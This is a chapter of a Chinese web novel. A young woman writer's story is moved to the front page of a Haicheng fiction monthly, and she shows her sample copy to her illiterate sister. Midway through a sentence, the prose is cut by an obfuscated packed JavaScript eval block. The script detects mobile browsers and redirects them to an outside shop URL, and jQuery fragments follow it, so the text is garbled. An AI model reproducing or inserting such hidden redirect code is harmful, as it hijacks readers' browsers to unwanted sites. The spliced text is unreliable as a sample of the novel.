程锦年把采买回来的东西归置好，在心里把账算了一遍。林知秋给的三十块，各项花销加上第一笔稿费六块六，去掉采购花费，还有代收信件，每次两铜板，7封信就是14铜板，剩三块二角五分钱。


    房租八块还没着落，但下笔稿费过几天就到，所以暂时不用着急。


    她把钱分别藏好，压进枕头底下、缝在衣服里，虽然钱不多，但是家里也要防再有小偷一锅端。


    如果是几天前，她不敢这么干，把房租钱花了，万一稿费不来怎么办？但现在她敢了。


    不是因为钱多了，是因为她知道，就算这笔稿费不来，她也能再写一篇。第一次投稿的时候她心里没底，不知道这条路走不走得通。现在路走通了，她就不怕了，至少，她敢试一试了。


    ***


    几天后，《海城小说月报》编辑部正在排版。


    老周拆到后半截投稿时，随手翻了一下开头就没能放下，那篇《无名》一口气读完，他靠在椅背上盯着天花板看了好一会儿。


    他起身去找陈伯言，把稿子递过去，陈伯言看完沉默了片刻：“现在开会，这篇稿子不等下期了，这期就要上。”


    老周愣了一下：“这期版样都排得差不多了，老孙、小赵的稿子都定了，吴先生的也占好了头版，他跟咱们约稿的时候就说好了这期轮到他上头版。


    甲级作家们轮流来，上期是周先生，这期是吴先生，下期是李小姐，突然把人撤了怕是不好交代。”


    “先开会再说。”


    编辑部几个人围在桌前，老周把《无名》的稿子放在最上面，陈伯言翻了翻又递给了社长孟鹤亭。


    孟鹤亭端起紫砂壶抿了一口，把《无名》慢慢看了一遍，放下稿子没有表态，而是从桌上翻出吴先生最近几期发表的文章，一页一页地翻。


    翻到第二篇时他眉头皱了一下，翻到第三篇他把稿纸往桌上一搁：“老周，你说吴先生这半年写的都是些什么东西？”


    他指了指其中一篇，“这篇书生赶考遇狐仙，老掉牙的套路，文笔干巴巴的连个像样的转折都没有。还有这篇才子佳人，看了开头就知道结尾，这叫文章？这叫糊弄。”


    办公室里安静下来，老孙端着茶杯不敢出声，小赵低着头假装看稿。


    “我不是说他以前写得不好，以前是好，但那是以前。这半年他自己算算，有几篇拿得出手的？仗着老资历越来越不把报社当回事了，约稿催三遍才交，交上来的东西平平无奇，连个让人眼前一亮的句子都找不出来。”


    孟鹤亭站起来背着手走了两步，回过头，“咱们这儿又不是养老院，光靠倚老卖老吃老本门儿都没有，稿子好不好读者说了算，谁有本事谁上这是规矩。这期头版就定这篇《无名》，吴先生那边我去说。”


    老周拿起红笔在版样上勾了一笔，把吴先生的稿子从头版挪到了第二版，头版的位置空出来，大号字体写下“无名”二字，底下署名“林间月”。


    等散会了，几个编辑聚集在一起边干活边议论，老孙坐在工位上，特意压低了声音：“老周，那篇《无名》真值头版？”


    老周抬起头看了他一眼：“值不值，你心里没数？”


    老孙沉默了一瞬，他看过那篇稿子，上次开会孟社长拍板给甲等的时候，他虽说了句“新人给甲等坏了规矩”，但稿子本身他挑不出毛病。


    “质量没话说，但头版不只是看质量，吴先生写了三年，不少读者认他的名字，你换一个新人上去，销量掉了谁负责？”


    老周没接话，低下头继续排版。心想，谁负责，都报给领导了，社长拍的板，总不能让他负责吧，这话万万不能说，但他心里确实这么想的。


    午饭时，小赵端着盒饭凑过来：“老周，那篇《无名》真那么厉害？”


    老周夹了一口菜嚼完了才说：“我打个赌，这期销量比上期涨一成。”


    老孙在旁边哼了一声：“一个新人头版涨一成？能保住上期的数就不错了。”


    吃饭的时候，规矩没那么大，社长孟鹤亭从楼上下来，拉了把椅子坐下，正好听见了这讨论，看了一眼老周：“老周赌一成？”


    刚说的话，没什么不认的，老周点点头。


    陈伯言不知什么时候站到了门口：“我赌两成。”


    办公室里安静了两秒，孟鹤亭把紫砂壶放在桌子上，手指在壶盖上叩了两下：“输了的请全编辑部去老正兴吃一顿，谁赢了下个月，我让他多报两块钱的烟钱。”


    老周把最后一口饭扒完站起来去洗饭盒，回过头说了一句：“那好，我可记下来了，就等着大吃一顿了。”


    反正社里平时氛围还挺好，老周也有心思开开玩笑。


    老正兴的饭不算贵，请一顿就是略有心疼的程度，不至于伤筋动骨，几人嘻嘻哈哈间就敲定了这件事。


    程锦年不知道这些，她每天去吴记杂货铺取信，没让她久等，老板娘从柜台下面翻出一个牛皮纸信封递给她，收了两个铜板。


    摸着厚度和大小，程锦年有了猜测，她快步回家，打开一看，信封里是一本样刊。


    翻到目录页，第三行印着两个字——“无名”，后面跟着她的笔名“林间月”，标题用了大一号的字，在一排小字里格外显眼。


    铅字方方正正笔画清晰，印在纸上像一枚印


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590332|205354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    章，她的名字不再只是自己写在稿纸角落的那几个字了，它被排进了版面占了一个位置。


    她把那本样刊举起来对着光看，目录页上“林间月”三个字在阳光下半透明，墨迹的纹理清晰可见。


    她忽然想起了刚逃出海城那天的事，姐姐抱着她哭说“锦年，怎么办”，她说“没事，相信我”。


    那时候她其实也不知道怎么办，毕竟只是在校大学生，还没有经历过社会毒打，但是她不能慌，还有个高中生年纪的“姐姐”需要照顾呢。


    可现在的“没事”不一样了，那时候的“没事”是硬撑，现在的“没事”是真的没事，因为她知道这支笔能替她开路，两辈子的书没白读，她不是这个时代的人，但在这个时代她找到了自己的位置。


    她把样刊贴在胸口，想了很久，这只是一个开始，总有一天，她会用这支笔，来发出自己真正想发出的声音来。


    程锦年把那本样刊放在桌上，招呼起程锦云：“云姐，你过来坐。”


    程锦云有些不明所以，但还是走过来，看着她手里那条湿漉漉的抹布，程锦年让她先放着，拿张纸帮她擦干手，然后心想，姐姐在全力照顾她的起居啊，要不然这些生活琐事就够她烦恼的了。


    程锦年把刊物翻开，翻到印着自己名字的那一页，推到姐姐面前：“这就是我写的，再过几天就能在报摊上买到了。”


    程锦云低头看着那一页纸，一个字都不认识，但她看得很认真，像在端详一件瓷器。她伸出手用指腹轻轻按了一下纸面，怕弄脏又缩了回去。


    “锦年，你写的这些……有人看吗？”


    “有，”程锦年把杂志合上，“不只一个人看，有很多人看，这些会送到海城各个报摊上。”


    程锦云沉默了一会儿，低下头把抹布叠了叠：“我小时候，村口贴告示，大家围过去，等着识字的人读，我那时候其实很羡慕的，站在人群中间，所有人都在听一个人说话，好风光啊。”


    程锦年看着姐姐，姐姐的手搭在膝盖上，指节粗大，指甲剪得齐齐的，这确实不像是一双拿笔的手，但是那又怎么样。


    “云姐，我教你认字，以后你不用站在人群外面，你也可以这么风光的成为焦点。”


    程锦云抬起头，嘴唇动了动想说什么又咽了回去，她没哭，只是轻轻“嗯”了一声，就像是要把那些灰暗的过去都这么吞咽下去。


    那本样刊安安静静地躺在桌上，封面上印着当月的日期，内页里印着她的名字。


    程锦年知道用不了多久，这些铅字会变成许许多多份刊物，被运到海城的大小报摊上，被一双双手接过来，被一双双眼睛读到。